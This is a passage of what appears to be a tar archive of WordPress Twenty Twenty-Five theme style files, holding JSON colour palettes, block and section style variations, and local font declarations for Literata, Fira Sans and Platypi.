}, "section-1": { "color": { "text": "var:preset|color|accent-5", "background": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-3": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-5": { "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-5" }, "elements": { "heading": { "color": { "text": "currentColor" } }, "link": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)", "text": "var:preset|color|base" } } } } } } } } themes/twentytwentyfive/styles/colors/06-morning.json000064400000010411152335264760017135 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Morning", "settings": { "color": { "palette": [ { "color": "#DFDCD7", "name": "Base", "slug": "base" }, { "color": "#191919", "name": "Contrast", "slug": "contrast" }, { "color": "#7A9BDB", "name": "Accent 1", "slug": "accent-1" }, { "color": "#F7E6FF", "name": "Accent 2", "slug": "accent-2" }, { "color": "#182949", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#D7D3CC", "name": "Accent 5", "slug": "accent-5" }, { "color": "#19191933", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "blocks": { "core/code": { "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-5" } }, "core/paragraph": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-author-name": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-title": { "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|contrast" }, "elements": { "cite": { "color": { "text": "var:preset|color|accent-4" } } } }, "core/quote": { "elements": { "cite": { "color": { "text": "var:preset|color|accent-4" } } } } }, "elements": { "button": { "color": { "text": "var:preset|color|contrast", "background": "var:preset|color|accent-1" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)", "text": "var:preset|color|contrast" } } }, "heading": { "color": { "text": "var:preset|color|contrast" } }, "link": { "color": { "text": "currentColor" } } }, "variations": { "post-terms-1": { "elements": { "link": { "color": { "background": "var:preset|color|accent-5" }, "border": { "color": "var:preset|color|accent-5" } } } }, "section-2": { "elements": { "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } } } }, "section-3": { "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)" } } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "heading": { "color": { "text": "currentColor" } }, "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)", "text": "var:preset|color|contrast" } } }, "link": { "color": { "text": "currentColor" } } } }, "section-5": { "elements": { "heading": { "color": { "text": "var:preset|color|base" } }, "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/colors/04-afternoon.json000064400000003630152335264760017462 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Afternoon", "settings": { "color": { "palette": [ { "color": "#DAE7BD", "name": "Base", "slug": "base" }, { "color": "#516028", "name": "Contrast", "slug": "contrast" }, { "color": "#C7F642", "name": "Accent 1", "slug": "accent-1" }, { "color": "#EBF6D3", "name": "Accent 2", "slug": "accent-2" }, { "color": "#303D10", "name": "Accent 3", "slug": "accent-3" }, { "color": "#516028", "name": "Accent 4", "slug": "accent-4" }, { "color": "#EBF6D3", "name": "Accent 5", "slug": "accent-5" }, { "color": "#51602833", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, black)" } } } }, "variations": { "section-2": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|accent-1" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|accent-3" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)" } } } } }, "section-4": { "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } } } }, "section-5": { "elements": { "button": { ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 90%, transparent)" } } } } } } } } themes/twentytwentyfive/styles/colors/01-evening.json000064400000003616152335264760017123 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Evening", "settings": { "color": { "palette": [ { "color": "#1B1B1B", "name": "Base", "slug": "base" }, { "color": "#F0F0F0", "name": "Contrast", "slug": "contrast" }, { "color": "#786D0A", "name": "Accent 1", "slug": "accent-1" }, { "color": "#442369", "name": "Accent 2", "slug": "accent-2" }, { "color": "#D1D0EA", "name": "Accent 3", "slug": "accent-3" }, { "color": "#CBCBCB", "name": "Accent 4", "slug": "accent-4" }, { "color": "#353535", "name": "Accent 5", "slug": "accent-5" }, { "color": "#FFFFFF33", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "color": { "text": "var:preset|color|accent-4" }, "elements": { "button": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)", "text": "var:preset|color|base" } } } }, "variations": { "section-2": { "elements": { "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)" } } } } }, "section-4": { "elements": { "button": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } } } } } } } themes/twentytwentyfive/styles/colors/05-twilight.json000064400000002425152335264760017324 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Twilight", "settings": { "color": { "palette": [ { "color": "#131313", "name": "Base", "slug": "base" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#4B52FF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#FF7A5C", "name": "Accent 2", "slug": "accent-2" }, { "color": "#252525", "name": "Accent 3", "slug": "accent-3" }, { "color": "#FFFFFF", "name": "Accent 4", "slug": "accent-4" }, { "color": "#252525", "name": "Accent 5", "slug": "accent-5" }, { "color": "#FFFFFF33", "name": "Accent 6", "slug": "accent-6" } ] } }, "styles": { "variations": { "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|accent-2" }, ":hover": { "color": { "text": "var:preset|color|accent-2" } } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/blocks/02-subtitle.json000064400000000467152335264760017301 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Subtitle", "slug": "text-subtitle", "blockTypes": ["core/heading", "core/paragraph"], "styles": { "typography": { "fontSize": "clamp(1.5rem, 1.5rem + ((1vw - 0.2rem) * 0.392), 1.75rem)", "lineHeight": "1.2" } } } themes/twentytwentyfive/styles/blocks/01-display.json000064400000000464152335264760017107 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Display", "slug": "text-display", "blockTypes": ["core/heading", "core/paragraph"], "styles": { "typography": { "fontSize": "clamp(2.2rem, 2.2rem + ((1vw - 0.2rem) * 1.333), 3.5rem)", "lineHeight": "1.2" } } } themes/twentytwentyfive/styles/blocks/03-annotation.json000064400000001246152335264760017615 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Annotation", "slug": "text-annotation", "blockTypes": ["core/heading", "core/paragraph"], "styles": { "css": "width: fit-content", "typography": { "fontSize": "var:preset|font-size|small", "lineHeight": "1.5", "letterSpacing": "normal" }, "border": { "color": "currentColor", "style": "solid", "width": "1px", "radius": "16px" }, "spacing": { "padding": { "top": "0.2rem", "right": "0.6rem", "bottom": "0.25rem", "left": "0.6rem" } }, "elements": { "link": { "typography": { "textDecoration": "none" } } } } } themes/twentytwentyfive/styles/blocks/post-terms-1.json000064400000001250152335264760017471 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Pill shaped", "slug": "post-terms-1", "blockTypes": ["core/post-terms"], "styles": { "elements": { "link": { "border": { "color": "var:preset|color|accent-6", "radius": "20px", "width": "0.8px", "style": "solid" }, "spacing": { "padding": { "top": "5px", "right": "10px", "bottom": "5px", "left": "10px" } }, "typography": { "fontWeight": "400", "lineHeight": "2.8", "textDecoration": "none" }, ":hover": { "typography": { "textDecoration": "underline" } } } } } } themes/twentytwentyfive/styles/sections/section-5.json000064400000004356152335264760017410 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "slug": "section-5", "title": "Style 5", "blockTypes": [ "core/group", "core/columns", "core/column" ], "styles": { "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, "blocks": { "core/separator": { "color": { "text": "color-mix(in srgb, currentColor 25%, transparent)" } }, "core/post-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-date": { "color":{ "text": "color-mix(in srgb, currentColor 85%, transparent)" }, "elements": { "link": { "color" : { "text": "color-mix(in srgb, currentColor 85%, transparent)" } } } }, "core/post-terms": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-date": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-edit-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-reply-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "currentColor" } }, "core/quote": { "color": { "text": "currentColor" } } }, "elements": { "button": { "color": { "background": "var:preset|color|base", "text": "var:preset|color|contrast" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--base) 80%, transparent)", "text": "var:preset|color|contrast" } } } } } } themes/twentytwentyfive/styles/sections/section-4.json000064400000004372152335264760017405 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "slug": "section-4", "title": "Style 4", "blockTypes": [ "core/group", "core/columns", "core/column" ], "styles": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|accent-2" }, "blocks": { "core/separator": { "color": { "text": "color-mix(in srgb, currentColor 25%, transparent)" } }, "core/post-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-date": { "color":{ "text": "color-mix(in srgb, currentColor 85%, transparent)" }, "elements": { "link": { "color" : { "text": "color-mix(in srgb, currentColor 85%, transparent)" } } } }, "core/post-terms": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-date": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-edit-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-reply-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "currentColor" } }, "core/quote": { "color": { "text": "currentColor" } } }, "elements": { "button": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|accent-3" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)", "text": "var:preset|color|accent-3" } } } } } } themes/twentytwentyfive/styles/sections/section-1.json000064400000004141152335264760017374 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "slug": "section-1", "title": "Style 1", "blockTypes": [ "core/group", "core/columns", "core/column" ], "styles": { "color": { "background": "var:preset|color|accent-5", "text": "var:preset|color|contrast" }, "blocks": { "core/separator": { "color": { "text": "color-mix(in srgb, currentColor 25%, transparent)" } }, "core/site-title": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-date": { "color":{ "text": "color-mix(in srgb, currentColor 85%, transparent)" }, "elements": { "link": { "color" : { "text": "color-mix(in srgb, currentColor 85%, transparent)" } } } }, "core/post-terms": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-date": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-edit-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-reply-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "currentColor" } }, "core/quote": { "color": { "text": "currentColor" } } } } } themes/twentytwentyfive/styles/sections/section-3.json000064400000003654152335264760017406 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "slug": "section-3", "title": "Style 3", "blockTypes": [ "core/group", "core/columns", "core/column" ], "styles": { "color": { "background": "var:preset|color|accent-1", "text": "var:preset|color|contrast" }, "blocks": { "core/separator": { "color": { "text": "color-mix(in srgb, currentColor 25%, transparent)" } }, "core/post-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-date": { "color":{ "text": "color-mix(in srgb, currentColor 85%, transparent)" }, "elements": { "link": { "color" : { "text": "color-mix(in srgb, currentColor 85%, transparent)" } } } }, "core/post-terms": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-date": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-edit-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-reply-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "currentColor" } }, "core/quote": { "color": { "text": "currentColor" } } } } } themes/twentytwentyfive/styles/sections/section-2.json000064400000003654152335264760017405 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "slug": "section-2", "title": "Style 2", "blockTypes": [ "core/group", "core/columns", "core/column" ], "styles": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|contrast" }, "blocks": { "core/separator": { "color": { "text": "color-mix(in srgb, currentColor 25%, transparent)" } }, "core/post-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-date": { "color":{ "text": "color-mix(in srgb, currentColor 85%, transparent)" }, "elements": { "link": { "color" : { "text": "color-mix(in srgb, currentColor 85%, transparent)" } } } }, "core/post-terms": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-author-name": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-date": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-edit-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/comment-reply-link": { "color": { "text": "currentColor" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/pullquote": { "color": { "text": "currentColor" } }, "core/quote": { "color": { "text": "currentColor" } } } } } themes/twentytwentyfive/styles/08-midnight.json000064400000031777152335264760016012 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Midnight", "settings": { "color": { "duotone": [ { "colors": [ "#4433A6", "#79F3B1" ], "name": "Midnight filter", "slug": "midnight-filter" } ], "palette": [ { "color": "#4433A6", "name": "Base", "slug": "base" }, { "color": "#79F3B1", "name": "Contrast", "slug": "contrast" }, { "color": "#5644BC", "name": "Accent 1", "slug": "accent-1" }, { "color": "#372696", "name": "Accent 2", "slug": "accent-2" }, { "color": "#251D51", "name": "Accent 3", "slug": "accent-3" }, { "color": "#79F3B1", "name": "Accent 4", "slug": "accent-4" }, { "color": "#E8B7FF", "name": "Accent 5", "slug": "accent-5" }, { "color": "#79F3B133", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.9rem", "slug": "small" }, { "fluid": { "max": "1.2rem", "min": "0.9rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.8rem", "min": "1.2rem" }, "name": "Large", "size": "1.2rem", "slug": "large" }, { "fluid": { "max": "2.2rem", "min": "1.8rem" }, "name": "Extra Large", "size": "1.8rem", "slug": "x-large" }, { "fluid": { "max": "2.8rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ], "fontFamilies": [ { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] }, { "name": "Fira Sans", "slug": "fira-sans", "fontFamily": "\"Fira Sans\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Thin.woff2" ], "fontWeight": "100", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ThinItalic.woff2" ], "fontWeight": "100", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Italic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" } ] } ] } }, "styles": { "typography": { "fontSize": "var:preset|font-size|medium", "fontFamily": "var:preset|font-family|fira-sans", "letterSpacing": "-0.01em", "lineHeight": "1.5" }, "blocks": { "core/avatar": { "filter": { "duotone": "var:preset|duotone|midnight-filter" } }, "core/button": { "variations": { "outline": { "spacing": { "padding": { "bottom": "1rem", "left": "1rem", "right": "1rem", "top": "1rem" } } } } }, "core/code": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|contrast" } }, "core/cover": { "filter": { "duotone": "var:preset|duotone|midnight-filter" } }, "core/image": { "filter": { "duotone": "var:preset|duotone|midnight-filter" } }, "core/post-date": { "color": { "text": "var:preset|color|contrast" }, "elements": { "link": { "color": { "text": "var:preset|color|contrast" } } } }, "core/post-featured-image": { "filter": { "duotone": "var:preset|duotone|midnight-filter" } }, "core/post-title": { "typography": { "fontWeight": "200" } }, "core/pullquote": { "border": { "bottom": { "style": "none", "width": "0px" }, "left": { "style": "none", "width": "0px" }, "right": { "style": "none", "width": "0px" }, "top": { "style": "none", "width": "0px" } }, "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "200", "letterSpacing": "0em" } }, "core/query-pagination": { "typography": { "fontWeight": "300", "letterSpacing": "0px" } }, "core/quote": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.01em", "lineHeight": "1.5", "fontWeight": "300" } }, "core/search": { "border": { "radius": "0px" } }, "core/site-logo": { "filter": { "duotone": "var:preset|duotone|midnight-filter" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|x-large", "fontWeight": "300", "letterSpacing": "-0.56px", "textTransform": "uppercase" } } }, "elements": { "button": { "border": { "radius": "0px" }, "color": { "background": "var:preset|color|contrast", "text": "var:preset|color|base" }, "spacing": { "padding": { "bottom": "1rem", "left": "1rem", "right": "1rem", "top": "1rem" } }, "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "fontWeight": "400", "letterSpacing": "-0.01em", "textTransform": "uppercase" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)" } } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "200", "letterSpacing": "-0.02em", "lineHeight": "1.24" } }, "h6": { "typography": { "fontWeight": "200" } } }, "variations": { "section-1": { "color": { "text": "var:preset|color|accent-3" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|accent-5" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } }, "section-4": { "color": { "text": "var:preset|color|accent-5" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-5", "text": "var:preset|color|accent-3" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-5) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } } } } } } } themes/twentytwentyfive/styles/07-sunrise.json000064400000024752152335264760015671 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Sunrise", "settings": { "color": { "palette": [ { "color": "#330616", "name": "Base", "slug": "base" }, { "color": "#FFFFFF", "name": "Contrast", "slug": "contrast" }, { "color": "#F0FDA6", "name": "Accent 1", "slug": "accent-1" }, { "color": "#DB9AB1", "name": "Accent 2", "slug": "accent-2" }, { "color": "#C1E4E7", "name": "Accent 3", "slug": "accent-3" }, { "color": "#DB9AB1", "name": "Accent 4", "slug": "accent-4" }, { "color": "#4A1628", "name": "Accent 5", "slug": "accent-5" }, { "color": "#DB9AB133", "name": "Accent 6", "slug": "accent-6" } ] }, "typography": { "fontFamilies": [ { "name": "Platypi", "slug": "platypi", "fontFamily": "Platypi", "fontFace": [ { "fontFamily": "Platypi", "fontStyle": "normal", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2" ] }, { "fontFamily": "Platypi", "fontStyle": "italic", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2" ] } ] }, { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ 